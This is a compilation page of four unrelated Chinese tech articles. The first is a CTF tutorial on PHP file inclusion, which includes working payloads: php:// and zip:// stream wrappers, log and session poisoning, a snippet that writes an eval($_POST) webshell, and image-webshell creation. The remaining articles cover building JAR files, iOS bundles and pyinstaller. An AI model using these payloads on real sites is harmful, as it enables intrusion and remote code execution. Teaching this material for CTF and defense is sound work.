精华内容
下载资源
问答
  • CTF中文件包含漏洞总结

    万次阅读 多人点赞 2019-02-13 00:15:33
    CTF中文件包含漏洞总结 0x01 什么是文件包含漏洞 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。 0x02 文件包含漏洞的环境...

    CTF中文件包含漏洞总结


    0x01 什么是文件包含漏洞

    通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

    0x02 文件包含漏洞的环境要求

    • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
    • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

    0x03 常见文件包含函数

    php中常见的文件包含函数有以下四种:

    • include()
    • require()
    • include_once()
    • require_once()

    include与require基本是相同的,除了错误处理方面:

    • include(),只生成警告(E_WARNING),并且脚本会继续
    • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
    • include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

    0x04 PHP伪协议

    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

    一、php://input

    php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
    在这里插入图片描述

    Example 1: 造成任意代码执行

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
    	include($file);
    }else{
    	echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    注:利用php://input还可以写入php木马,即在post中传入如下代码:

    <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
    

    Example 2: 文件内容绕过

    //test.php
    <?php
    show_source(__FILE__);
    include('flag.php');
    $a= $_GET["a"];
    if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    	echo "success\n";
    	echo $flag;
    }
    
    //flag.php
    <?php
    $flag = 'flag{flag_is_here}';
    ?>
    

    审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以可以使用php://input得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行来进行绕过。
    注:遇到file_get_contents()要想到用php://input绕过。

    在这里插入图片描述

    二、php://filter

    php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
    在这里插入图片描述
    在这里插入图片描述
    POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。

    注:更多php://filter用法可参考:谈一谈php://filter的妙用

    Example 1:

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	include($file);
    }else{
    	echo '<a href="?file=flag.php">tips</a>';
    }
    ?>
    

    1.点击tip后进入如下页面,看到url中出现file=flag.php,如下:
    在这里插入图片描述
    2.尝试payload:?file=php://filter/resource=flag.php,发现无法显示内容:
    在这里插入图片描述
    3.尝试payload:?file=php://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:

    在这里插入图片描述

    三、zip://

    zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

    • zip://中只能传入绝对路径。
    • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
    • 只需要是zip的压缩包即可,后缀名可以任意更改。
    • 相同的类型的还有zlib://和bzip2://
      在这里插入图片描述
      Example 1:
    //index.php
    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if (!$file) echo '<a href="?file=upload">upload?</a>';
    if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
    	echo "hick?";
    	exit();
    }else{
    	include($file.".php");
    }
    ?>
    <!-- flag在当前目录的某个文件中 -->
    
    //upload.php
    <meta charset="utf-8">
    <form action="upload.php" method="post" enctype="multipart/form-data" >
    	 <input type="file" name="fupload" />
     	<input type="submit" value="upload!" />
    </form>
    you can upload jpg,png,zip....<br />
    <?php
    if( isset( $_FILES['fupload'] ) ) {
        $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀
        $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小
        $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称
        $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
            ( $uploaded_size < 100000 ) ) {
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
                echo '<pre>upload error</pre>';
            }
            else {// Yes!
                echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            echo '<pre>you can upload jpg,png,zip....</pre>';
        }
    }
     ?>
    

    四、data://与phar://

    data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
    在这里插入图片描述

    phar:// 有点类似zip://同样可以导致 任意代码执行。

    • phar://中相对路径和绝对路径都可以使用
      在这里插入图片描述

    0x05 包含Apache日志文件

      WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
    在这里插入图片描述
    在这里插入图片描述
      Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
      如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。

    参考文章:1.包含日志文件getshell
         2.一道包含日志文件的CTF题

    0x06 包含SESSION

    可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

    利用条件:

    • 找到Session内的可控变量
    • Session文件可读写,并且知道存储路径

    php的session文件的保存路径可以在phpinfo的session.save_path看到。
    在这里插入图片描述
    session常见存储路径:

    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sess_PHPSESSID
    • /tmp/sess_PHPSESSID
    • /tmp/sessions/sess_PHPSESSID
    • session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

    参考文章:一道SESSION包含的CTF题

    0x06 包含/pros/self/environ

    proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

    利用条件:

    • php以cgi方式运行,这样environ才会保持UA头。
    • environ文件存储位置已知,且environ文件可读。

    参考文章:proc / self / environ Injection

    0x07 包含临时文件

    在这里插入图片描述
    php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

    由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

    另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

    类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

    0x08 包含上传文件

    很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

    图片马的制作方式如下,在cmd控制台下输入:

    进入1.jph和2.php的文件目录后,执行:
    
    copy  1.jpg/b+2.php  3.jpg
    
    将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
    

    假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
    图片代码如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
    

    然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

    0x09 其他包含姿势

    • 包含SMTP(日志)
    • 包含xss



    文件包含漏洞的绕过方法


    0x09 指定前缀绕过

    一、目录遍历

    使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
    测试代码如下:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//前缀
    	include "/var/www/html/".$file;
    
    	highlight_file(__FILE__);
    ?>
    

    现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

     include.php?file=../../log/flag.txt
    

    则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

    二、编码绕过

    服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
    1.利用url编码

    • ../

      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\

      • %2e%2e%5c
      • ..%5c
      • %2e%2e\

    2.二次编码

    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c

    3.容器/服务器的编码方式


    0x10 指定后缀绕过

    后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//后缀
    	include $file.".txt";
    
    	highlight_file(__FILE__);
    ?>
    

    一、利用url

    在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
    可参考此文章:URI’s fragment

    完整url格式:

    protocol :// hostname[:port] / path / [;parameters][?query]#fragment
    

    query(?)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php?
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述
    fragment(#)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php%23
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述

    二、利用协议

    利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

    zip://

    • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo
    • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

    phar://

    • [访问参数] ?file=phar://zip.zip/phpinfo
    • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

    Example:
    (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>))
    所以分别构造payload为:

    ?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
    在这里插入图片描述
    ?file=phar://../../php.zip/phpinfo
    在这里插入图片描述

    三、长度截断

    利用条件:

    • php版本 < php 5.2.8

    原理:

    • Windows下目录最大长度为256字节,超出的部分会被丢弃
    • Linux下目录最大长度为4096字节,超出的部分会被丢弃。

    利用方法:

    • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

        ?file=./././。。。省略。。。././shell.php
      

    则指定的后缀.txt会在达到最大值后会被直接丢弃掉

    四、%00截断

    利用条件:

    • magic_quotes_gpc = Off
    • php版本 < php 5.3.4

    利用方法:

    • 直接在文件名的最后加上%00来截断指定的后缀名

        ?file=shell.php%00
      

    注:现在用到%00阶段的情况已经不多了



    文件包含漏洞防御


    • allow_url_include和allow_url_fopen最小权限化

    • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)

    • 白名单限制包含文件,或者严格过滤 . / \

    展开全文
  • Linux下制作可执行的JAR文件包

    千次阅读 2012-02-27 10:28:35
    Linux下制作可执行的JAR文件包 制作可执行的JAR文件包及jar命令详解  常常在网上看到有人询问:如何把 java 程序编译成 .exe 文件。通常回答只有两种,一种是制作一个可执行的 JAR 文件包,然后就可以像....

    Linux下制作可执行的JAR文件包

    制作可执行的JAR文件包及jar命令详解

       常常在网上看到有人询问:如何把 java 程序编译成 .exe 文件。通常回答只有两种,一种是制作一个可执行的 JAR 文件包,然后就可以像.chm 文档一样双击运行了;而另一种是使用 JET 来进行
    编译。但是 JET 是要用钱买的,而且据说 JET 也不是能把所有的 Java 程序都编译成执行文件,性能也要打些折扣。所以,使用制作可执行 JAR 文件包的方法就是最佳选择了,何况它还能保持 Java 的跨平台特性。

    下面就来看看什么是 JAR 文件包吧:

    1. JAR 文件包

    JAR 文件就是 Java Archive File,顾名思意,它的应用是与 Java 息息相关的,是 Java 的一种文档格式。JAR 文件非常类似 ZIP 文件--准确的说,它就是 ZIP 文件,所以叫它文件包。JAR 文件与 ZIP 文件唯一的区别就是在 JAR 文件的内容中,包含了一个 META-INF/MANIFEST.MF 文件,这个文件是在生成 JAR 文件的时候自动创建的。举个例子,如果我们具有如下目录结构的一些文件:

      ==

      `-- test

        `-- Test.class

    把它压缩成 ZIP 文件 test.zip,则这个 ZIP 文件的内部目录结构为:

      test.zip

      `-- test

        `-- Test.class

    如果我们使用 JDK 的 jar 命令把它打成 JAR 文件包 test.jar,则这个 JAR 文件的内部目录结构为:

      test.jar

      |-- META-INF

      |  `-- MANIFEST.MF

      `-- test

        `--Test.class

    2. 创建可执行的 JAR 文件包

    制作一个可执行的 JAR 文件包来发布你的程序是 JAR 文件包最典型的用法。

    Java 程序是由若干个 .class 文件组成的。这些 .class 文件必须根据它们所属的包不同而分级分目录存放;运行前需要把所有用到的包的根目录指定给 CLASSPATH 环境变量或者 java 命令的 -cp 参数;运行时还要到控制台下去使用 java 命令来运行,如果需要直接双击运行必须写 Windows 的批处理文件 (.bat) 或者 Linux 的 Shell 程序。因此,许多人说,Java 是一种方便开发者苦了用户的程序设计语言。

    其实不然,如果开发者能够制作一个可执行的 JAR 文件包交给用户,那么用户使用起来就方便了。在 Windows 下安装 JRE (Java Runtime Environment) 的时候,安装文件会将 .jar 文件映射给 javaw.exe 打开。那么,对于一个可执行的 JAR 文件包,用户只需要双击它就可以运行程序了,和阅读 .chm 文档一样方便 (.chm 文档默认是由 hh.exe 打开的)。那么,现在的关键,就是如何来创建这个可执行的 JAR 文件包。

    创建可执行的 JAR 文件包,需要使用带 cvfm 参数的 jar 命令,同样以上述 test 目录为例,命令如下:

    jar cvfm test.jar manifest.mf test

    这里 test.jar 和 manifest.mf 两个文件,分别是对应的参数 f 和 m,其重头戏在 manifest.mf。因为要创建可执行的 JAR 文件包,光靠指定一个 manifest.mf 文件是不够的,因为 MANIFEST 是 JAR 文件包的特征,可执行的 JAR 文件包和不可执行的 JAR 文件包都包含 MANIFEST。关键在于可执行 JAR 文件包的 MANIFEST,其内容包含了 Main-Class 一项。这在 MANIFEST 中书写格式如下:

    Main-Class: 可执行主类全名(包含包名)

    例如,假设上例中的 Test.class 是属于 test 包的,而且是可执行的类 (定义了 public static void main(String[]) 方法),那么这个 manifest.mf 可以编辑如下:

    Main-Class: test.Test <回车>

    这个 manifest.mf 可以放在任何位置,也可以是其它的文件名,只需要有 Main-Class: test.Test 一行,且该行以一个回车符结束即可。创建了 manifest.mf 文件之后,我们的目录结构变为:

      ==

      |-- test

      |  `-- Test.class

      `-- manifest.mf

    这时候,需要到 test 目录的上级目录中去使用 jar 命令来创建 JAR 文件包。也就是在目录树中使用“==”表示的那个目录中,使用如下命令:

    jar cvfm test.jar manifest.mf test

    之后在“==”目录中创建了 test.jar,这个 test.jar 就是执行的 JAR 文件包。运行时只需要使用 java -jar test.jar 命令即可。

    需要注意的是,创建的 JAR 文件包中需要包含完整的、与 Java 程序的包结构对应的目录结构,就像上例一样。而 Main-Class 指定的类,也必须是完整的、包含包路径的类名,如上例的 test.Test;而且在没有打成 JAR 文件包之前可以使用 java <类名> 来运行这个类,即在上例中 java test.Test 是可以正确运行的 (当然要在 CLASSPATH 正确的情况下)。

    3. jar 命令详解

    jar 是随 JDK 安装的,在 JDK 安装目录下的 bin 目录中,Windows 下文件名为 jar.exe,Linux 下文件名为 jar。它的运行需要用到 JDK 安装目录下 lib 目录中的 tools.jar 文件。不过我们除了安装 JDK 什么也不需要做,因为 SUN 已经帮我们做好了。我们甚至不需要将 tools.jar 放到 CLASSPATH 中。

    使用不带任何的 jar 命令我们可以看到 jar 命令的用法如下:

    jar {ctxu}[vfm0M] [jar-文件] [manifest-文件] [-C 目录] 文件名 ...

    其中 {ctxu} 是 jar 命令的子命令,每次 jar 命令只能包含 ctxu 中的一个,它们分别表示:

    -c 创建新的 JAR 文件包

    -t 列出 JAR 文件包的内容列表

    -x 展开 JAR 文件包的指定文件或者所有文件

    -u 更新已存在的 JAR 文件包 (添加文件到 JAR 文件包中)

    [vfm0M] 中的选项可以任选,也可以不选,它们是 jar 命令的选项参数

    -v 生成详细报告并打印到标准输出

    -f 指定 JAR 文件名,通常这个参数是必须的

    -m 指定需要包含的 MANIFEST 清单文件

    -0 只存储,不压缩,这样产生的 JAR 文件包会比不用该参数产生的体积大,但速度更快

    -M 不产生所有项的清单(MANIFEST〕文件,此参数会忽略 -m 参数

    [jar-文件] 即需要生成、查看、更新或者解开的 JAR 文件包,它是 -f 参数的附属参数

    [manifest-文件] 即 MANIFEST 清单文件,它是 -m 参数的附属参数

    [-C 目录] 表示转到指定目录下去执行这个 jar 命令的操作。它相当于先使用 cd 命令转该目录下再执行不带 -C 参数的 jar 命令,它只能在创建和更新 JAR 文件包的时候可用。  

    文件名 ... 指定一个文件/目录列表,这些文件/目录就是要添加到 JAR 文件包中的文件/目录。如果指定了目录,那么 jar 命令打包的时候会自动把该目录中的所有文件和子目录打入包中。

    下面举一些例子来说明 jar 命令的用法:

    1) jar cf test.jar test

    该命令没有执行过程的显示,执行结果是在当前目录生成了 test.jar 文件。如果当前目录已经存在 test.jar,那么该文件将被覆盖。

    2) jar cvf test.jar test

    该命令与上例中的结果相同,但是由于 v 参数的作用,显示出了打包过程,如下:

    标明清单(manifest)

    增加:test/(读入= 0) (写出= 0)(存储了 0%)

    增加:test/Test.class(读入= 7) (写出= 6)(压缩了 14%)

    3) jar cvfM test.jar test

    该命令与 2) 结果类似,但在生成的 test.jar 中没有包含 META-INF/MANIFEST 文件,打包过程的信息也略有差别:

    增加:test/(读入= 0) (写出= 0)(存储了 0%)

    增加:test/Test.class(读入= 7) (写出= 6)(压缩了 14%)

    4) jar cvfm test.jar manifest.mf test

    运行结果与 2) 相似,显示信息也相同,只是生成 JAR 包中的 META-INF/MANIFEST 内容不同,是包含了 manifest.mf 的内容

    5) jar tf test.jar

    在 test.jar 已经存在的情况下,可以查看 test.jar 中的内容,如对于 2) 和 3) 生成的 test.jar 分别应该此命令,结果如下;

    对于 2)

    META-INF/

    META-INF/MANIFEST.MF

    test/

    test/Test.class

    对于 3)

    test/

    test/Test.class

    6) jar tvf test.jar

    除显示 5) 中显示的内容外,还包括包内文件的详细信息,如:

    0 Wed Jun 19 15:39:06 GMT 2002 META-INF/

    86 Wed Jun 19 15:39:06 GMT 2002 META-INF/MANIFEST.MF

    0 Wed Jun 19 15:33:04 GMT 2002 test/

    7 Wed Jun 19 15:33:04 GMT 2002 test/Test.class

    7) jar xf test.jar

    解开 test.jar 到当前目录,不显示任何信息,对于 2) 生成的 test.jar,解开后的目录结构如下:

      ==

      |-- META-INF

      |  `-- MANIFEST

      `-- test

        `--Test.class

    8) jar xvf test.jar

    运行结果与 7) 相同,对于解压过程有详细信息显示,如:

    创建:META-INF/

    展开:META-INF/MANIFEST.MF

    创建:test/

    展开:test/Test.class

    9) jar uf test.jar manifest.mf

    在 test.jar 中添加了文件 manifest.mf,此使用 jar tf 来查看 test.jar 可以发现 test.jar 中比原来多了一个 manifest。这里顺便提一下,如果使用 -m 参数并指定 manifest.mf 文件,那么 manifest.mf 是作为清单文件 MANIFEST 来使用的,它的内容会被添加到 MANIFEST 中;但是,如果作为一般文件添加到 JAR 文件包中,它跟一般文件无异。

    10) jar uvf test.jar manifest.mf

    与 9) 结果相同,同时有详细信息显示,如:

    增加:manifest.mf(读入= 17) (写出= 19)(压缩了 -11%)

    4. 关于 JAR 文件包的一些技巧

    1) 使用 unzip 来解压 JAR 文件

    在介绍 JAR 文件的时候就已经说过了,JAR 文件实际上就是 ZIP 文件,所以可以使用常见的一些解压 ZIP 文件的工具来解压 JAR 文件,如 Windows 下的 WinZip、WinRAR 等和 Linux 下的 unzip 等。使用 WinZip 和 WinRAR 等来解压是因为它们解压比较直观,方便。而使用 unzip,则是因为它解压时可以使用 -d 参数指定目标目录。

    在解压一个 JAR 文件的时候是不能使用 jar 的 -C 参数来指定解压的目标的,因为 -C 参数只在创建或者更新包的时候可用。那么需要将文件解压到某个指定目录下的时候就需要先将这具 JAR 文件拷贝到目标目录下,再进行解压,比较麻烦。如果使用 unzip,就不需要这么麻烦了,只需要指定一个 -d 参数即可。如:

    unzip test.jar -d dest/

    2) 使用 WinZip 或者 WinRAR 等工具创建 JAR 文件

    上面提到 JAR 文件就是包含了 META-INF/MANIFEST 的 ZIP 文件,所以,只需要使用 WinZip、WinRAR 等工具创建所需要 ZIP 压缩包,再往这个 ZIP 压缩包中添加一个包含 MANIFEST 文件的 META-INF 目录即可。对于使用 jar 命令的 -m 参数指定清单文件的情况,只需要将这个 MANIFEST 按需要修改即可。

    3) 使用 jar 命令创建 ZIP 文件

    有些 Linux 下提供了 unzip 命令,但没有 zip 命令,所以需要可以对 ZIP 文件进行解压,即不能创建 ZIP 文件。如要创建一个 ZIP 文件,使用带 -M 参数的 jar 命令即可,因为 -M 参数表示制作 JAR 包的时候不添加 MANIFEST 清单,那么只需要在指定目标 JAR 文件的地方将 .jar 扩展名改为 .zip 扩展名,创建的就是一个不折不扣的 ZIP 文件了,如将上一节的第 3) 个例子略作改动:

    jar cvfM test.zip test


    展开全文
  • Command + B后生成Bundle,点击Products里面的bundle文件 四、集成到项目中 将Bundle资源放到项目的任意(或指定)的文件夹下 五、代码调用Bundle的图片资源(写在UIImage的extension里): 1>方式一加载图片...

    一、创建Bundle项目



    二、在bundle资源包中添加图片

    方式一:使用Asset管理图片

    在Xcode自带的Assets里面,可以自动识别图片是二倍屏还是三倍屏,图片名称以@2x,@3x为后缀,拖到Assets文件里会自动识别位置

    1>创建Asset文件


    2>拖入对应的图片


    方式二:

    创建images文件夹,如图所示,再拖入对应后缀名的图片



    三、生成Bundle包

    Command + B后生成Bundle包,点击Products里面的bundle文件



    四、集成到项目中

    将Bundle资源包放到项目的任意(或指定)的文件夹下



    五、代码调用Bundle包的图片资源(写在UIImage的extension里):

    1>方式一加载图片(使用Asset管理图片时),使用以下方法:

    /// 从Bundle中加载图片
        ///
        /// - Parameter filename: 图片名称
        /// - Returns: 返回UIImage对象
       class func bundleImageNamed(_ filename: String) -> UIImage? {
        let path = "\(Bundle.main.resourcePath ?? "YourBundleName.bundle")"
        return UIImage(named: filename, in: Bundle(path: path), compatibleWith: nil)
        }

    2>方式二加载图片

    生成的资源包右键查看包内容,可以看到图片的路径,如图所示


    代码调用如下

    /// 从Bundle中加载图片
        ///
        /// - Parameter filename: 图片名称
        /// - Returns: 返回UIImage对象
       class func bundleImageNamed(_ filename: String) -> UIImage? {
        let pathName = "YourBundleName.bundle/Contents/Resources/\(filename)"
        let url = "\(Bundle.main.resourcePath ?? "")/\(pathName)"
        return UIImage(contentsOfFile: url )
        }

    展开全文
  • Python进阶(四十七)-python3使用pyinstaller实现将py文件打包成exe文件前言  py文件通常需要运行在Python编程坏境中,而可执行exe文件更方便。   之前看过若干博文在python2环境下使用pyinstaller将py文件打包...

    #Python进阶(四十七)-python3使用pyinstaller实现将py文件打包成exe文件
    ##前言
      py文件通常需要运行在Python编程坏境中,而可执行exe文件更方便。
      之前看过若干博文在python2环境下使用pyinstaller将py文件打包成exe文件,因为之前pyinstaller不支持python3。现在pyinstaller支持python3,此篇博文即是在python3环境下实现将py文件打包成exe文件。
      首先介绍一下可以打包Python代码的工具:

    • py2exe: 这个是知名度最高的,但是好像不太适合新手,需要各种库,用起来比较繁琐,不推荐。

    pyinstaller : 可以只是生成单独的可执行程序。 最新版本为3.2.1 Stable, supports Python 2.7, 3.3–3.5。 可以自定义图标。 跨平台,兼容性良好。

    • cx_Freeze :
      这个打包质量挺好,操作也简单。缺点是不能生产单独的可执行文件,结果就是exe文件被淹没在众多文件中,看着不高大上。
      ##py文件打包
        下面介绍使用pyinstaller将py文件打包成exe文件的具体步骤:
      ###Step1:下载pyinstaller
    pip install pyinstaller
    

      安装成功后,会在Python/Scripts文件夹下显示名为“pyinstaller.exe”命令文件。
    ###Step2: 将待打包的py文件放到Python安装路径的Scripts下。
      注意Scripts放置Python的各种第三方扩展包,这里的pyinstaller.exe在此处。
    ###Step3:打包exe程序
      步骤:

    • 1.在cmd环境进入该Scripts文件夹路径下;

    • 2.输入指令打包:pyinstaller - F **.py

      在实际操作过程中,遇到了“import _win32sysloader ImportError:Dll load failed:找不到指定的模块”的问题,截图如下:
    这里写图片描述
      找度娘查了很久,no answer,后来搜索到相关信息,在此表示感谢darksheng提供的解决方法。后来下载了Microsoft Visual C ++ 2010,之后成功解决问题。
      干净的Windows 7 x86机器上安装Python 3.5,然后运行后pip install pyinstaller,得到了同样的错误。所以我分析_win32sysloader.pyd依赖关系Dependency Walker中,有一个依赖于MSVCR100.DLL文件,该文件是Microsoft Visual C ++ 2010再发行组件包的一部分。安装该软件包后,PyInstaller正常工作。
      VC++ 2010安装好之后,在此执行打包命令,此时打包成功。打包时间大约为1-2分钟,取决于py文件的大小及依赖关系。
    这里写图片描述
      打好包之后,会在Scripts路径下生成两个文件夹:dist和build,如下图所示。
    这里写图片描述
      进入dist文件,发现生成的文件扩展名为.egg。这又是什么鬼?
    这里写图片描述
      经查阅,原来python的egg文件有点像java中的jar文件,是一个工程打包文件,便于安装部署。不知道怎么会生成.egg文件,尝试重新打包,再次打包发现在dist目录下生成了exe文件,具体原因还不知道怎么解释了…
    这里写图片描述
      进入dist文件,双击生成的exe可执行文件,会自动执行程序。
      在为可执行文件生成图标时,执行以下语句:

    pyinstaller --icon=C:\Users\SHQ\Desktop\VIP.ico -F waterSpider_main.py
    

      但是在执行过程中,出现了“SRCPATH[…]”文件未找到及“struct.error: unpack requires a string argument of length 16”的错误。
    这里写图片描述
    这里写图片描述
      首先先介绍一下ico文件,这对于理解其解决方案有很大帮助。
      ico文件是windows下图片格式,我们看到的文件夹,执行文件等都有不同的图标显示,并且当我们切换视图模式(Thumbnails,Tiles,Icons, List, Details)时,文件的图标会以"不同"尺寸显示,确切的说,应该是不同的图标文件(尺寸亦不同)。ico文件里面可以有多个不同的图标文件以适应不同的视图模式,并且这些图标文件通常按尺寸大小的顺序存放。以windows XP/server 2003下支持的ico尺寸为16x16,32x32和48x48。vista/win7下则最多可以支持256x256。
      问题关键在于ico文件中图标的顺序问题,XP和server 2003对顺序要求不高,无论是图标是按尺寸的正序还是倒序都可以正常显示,而然在vista/win7下确只能倒序。
      如果你使用png2ico工具的工具的话,可以使用如下命令生成myicon.ico文件:

    png2ico myicon.ico icon_128x128.png icon_64x64.png icon_48x48.png icon_32x32.png icon_16x16.png
    

      要提醒的是png2ico生成的ico文件效果不是太好并且图标文件不能达到256x256,你不得不选择选择像248x248这样的尺寸来代替。推荐一个在线的转换工具ConvertIcon!,只是png2ico可以定义图标的顺序,而ConvertIcon!则是从小到大的顺序存储图标文件。但另一个ico编辑工具可以解决这个问题–Greenfish Icon Editor Pro(点击下载),该工具不仅可以编辑图标文件,而且可以修改图标文件的顺序。
    ##Greenfish Icon Editor Pro生成icon图片
      详细步骤如下:
    ###首先:打开Greenfish Icon Editor Pro 软件并导入icon图片。
      点击红色矩形框的icon选项->create icon from image 可以设置ico图片属性以及生成不同尺寸的icon图片,如下图:
    这里写图片描述
      有了这张图片可以看出,这些图标文件尺寸大小的顺序[见左侧框]为:1616,3232,4848,6464,256256, 接下来我们要做的就是通过鼠标拖动图片改变这些图片的排列顺序:256256,6464,3232,16*16 ,调整完毕后如下图所示:
    这里写图片描述
      接下来保存按钮保存icon图片。然后导入该图片,就可以看到能够在vista/win7 上正常显示了,效果如下图:
    这里写图片描述
      以上就是对python(py2exe)打包成exe执行文件,vista/win7下icon图标显示问题的解决方案内容的介绍,望你会有所收获。
    ##附
      更多参数如下图所示:
    这里写图片描述
      Pyinstaller官网
      在线对图片进行透明圆角处理

    ##附 电子书福利(免积分下载)
    Flask Web开发:基于Python的Web应用开发实战

    Learning Python, 5th Edition

    ![这里写图片描述](https://img-blog.csdnimg.cn/img_convert/46cc348062c27bf57424afe162b04ab4.png)
    ![这里写图片描述](https://img-blog.csdnimg.cn/img_convert/f9c024e20306fb0e4e3e84a15aab3217.png)
    展开全文
